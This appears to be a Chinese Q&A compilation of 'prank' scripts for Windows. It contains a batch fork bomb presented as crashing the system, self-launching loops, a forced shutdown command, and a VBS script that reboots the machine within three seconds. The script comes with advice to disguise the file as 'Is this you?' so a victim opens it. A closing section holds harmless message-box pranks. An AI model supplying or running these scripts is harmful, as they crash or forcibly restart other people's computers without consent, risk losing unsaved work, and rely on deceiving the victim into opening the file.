整人小程序求一些有趣的VBS代码

收集一些搞笑程序代码

如果你感到无聊，看看下面的吧。

整人的东东… 如果你想恶搞别人一下,在记事本中输入如下内容： @echo off start cmd.exe %0 2 . @echo off :a rundll32 desk.cpl, DisplayTestSettingsW goto a 运行后会黑屏！ 3.shutdown -s -t 60 60秒倒计时关机！ 4.%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0 系统崩溃！ 5.下面的另存为a.bat @echo off Start a.bat dir c: /s /a 求采纳

怎么制造整人的软件

虽然没分```我给你搞一个` 就用他发给你这个软件直接做吧` 把人件取名叫“这是你吗？” 用这个名字``骗人点```这应该是最吸引他的吧` 用记事本编写 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 3 -c ""不好意思，你来不及了···"" ",0 ,true 保存为 .vbe 后面的都不用了`` 3秒钟`` 就算是用口令取消``也来不及的·

求一些有趣的VBS代码

无害的，一个心理测试（膨胀） 有点简单。

（。

） 代码如下： WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)? WScript.Echo("你是可爱的小朋吗?")? WScript.Echo("哈,我想你拉，这你都不知道吗？") WScript.Echo("怎么才来，说~是不是不关心我")? WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。

")? WScript.Echo("小强很生气，后果很严重哦。

")? WScript.Echo("嘿嘿！你也会很惨滴哦")? WScript.Echo("是不是想清除我？")? WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")? WScript.Echo("还剩49下，快点点哦")? WScript.Echo("还剩48下，快点，小笨蛋！")? WScript.Echo("还剩47下对，就这样快点点！")? WScript.Echo("还剩46下。

你啊就是笨，要快哦，我先不打扰你工作。

")? WScript.Echo("还剩45下，记得要快哦！")? WScript.Echo("还剩43下")? WScript.Echo("还剩42下")? WScript.Echo("还剩41下")? WScript.Echo("还剩40下")? WScript.Echo("还剩39下")? WScript.Echo("还剩38下")? WScript.Echo("还剩37下")? WScript.Echo("还剩36下")? WScript.Echo("还剩35下")? WScript.Echo("还剩34下")? WScript.Echo("还剩33下")? WScript.Echo("还剩32下")? WScript.Echo("还剩30下")? WScript.Echo("还剩29下")? WScript.Echo("还剩28下")? WScript.Echo("还剩27下")? WScript.Echo("还剩26下")? WScript.Echo("还剩25下")? WScript.Echo("还剩24下")? WScript.Echo("还剩23下")? WScript.Echo("还剩22下")? WScript.Echo("还剩21下")? WScript.Echo("还剩20下")? WScript.Echo("还剩19下")? WScript.Echo("还剩18下")? WScript.Echo("还剩17下")? WScript.Echo("还剩16下")? WScript.Echo("还剩15下")? WScript.Echo("还剩14下")? WScript.Echo("还剩13下停停！！！慢点，我有话要说")? WScript.Echo("还剩12下，你继续点我就会消失滴")? WScript.Echo("还剩11下，以后就看不到我拉。

555555")? WScript.Echo("还剩10下，你现在可以选择停止！")? WScript.Echo("还剩9下。

你还点啊，不要我拉？")? WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")? WScript.Echo("还剩7下。

疯了，你有点负意！")? WScript.Echo("还剩6下。

对。

你就点吧，我恨你！")? WScript.Echo("还剩5下，不明白，删除我你就好吗？")? WScript.Echo("还剩4下！真要删除我？")? WScript.Echo("还剩3下。

可是我真的很眷恋你。

。

。

")? WScript.Echo("还剩2下。

不要这么绝情嘛，人家是爱你的！")? WScript.Echo("还剩1下。

哼，既然你这么绝情。

也别怪我无义！！！") WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。

") WScript.Echo("想结素我么?那你就再多点一次")? WScript.Echo("想结素我么?那你就再多点一次")? WScript.Echo("想结素我么?那你就再多点一次")? WScript.Echo("想结素我么?那你就再多点一次")? WScript.Echo("想结素我么?那你就再多点一次")? WScript.Echo("想结素我么?那你就再多点一次")? WScript.Echo("想结素我么?那你就再多点一次")? WScript.Echo("想结素我么?那你就再多点一次")? WScript.Echo("想结素我么?那你就再多点一次")? WScript.Echo("想结素我么?那你就再多点一次")? ——————分割线———————— 保存，保存类型为所有文件，名字随便，矿展名“.vbs”，保存后点开。